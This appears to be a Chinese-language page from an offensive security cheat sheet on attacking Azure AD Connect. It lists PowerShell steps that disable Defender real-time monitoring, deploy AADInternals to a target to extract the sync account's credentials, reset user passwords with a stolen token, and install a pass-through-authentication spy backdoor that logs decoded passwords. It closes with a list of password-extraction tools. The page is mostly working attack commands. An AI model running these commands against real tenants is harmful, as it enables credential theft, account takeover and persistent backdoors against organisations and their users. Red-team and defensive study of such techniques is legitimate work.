AzureAD连接

检查是否安装了 Azure AD Connect:Get-ADSyncConnector

对于PHS,我们可以提取凭证
对于PTA,我们可以安装代理
对于联合身份,我们可以使用 DA 从 ADFS 服务器提取证书
PS > Set-MpPreference -DisableRealtimeMonitoring $true
PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents
PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals
PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials

获取 SYNC 帐户的令牌并重置本地管理员密码
PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
PS > Get-AADIntUser -UserPrincipalName [email protected] | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose

检查是否安装了 PTA:Get-Command -Module PassthroughAuthPSModule

安装 PTA 后门
PS AADInternals> Install-AADIntPTASpy
PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords

Azure AD Connect - 密码提取

工具
需要在目标上执行代码
DLL 依赖项
本地需要 MSSQL
本地需要python

ADSyncDecrypt

ADSyncGather

ADSyncQuery

否 (仅限网络 RPC 调用)

Azure AD Connect - MSOL 帐户的密码和 DCSync

Azure AD Connect - 银票上的无缝单点登录

最后更新于

这有帮助吗?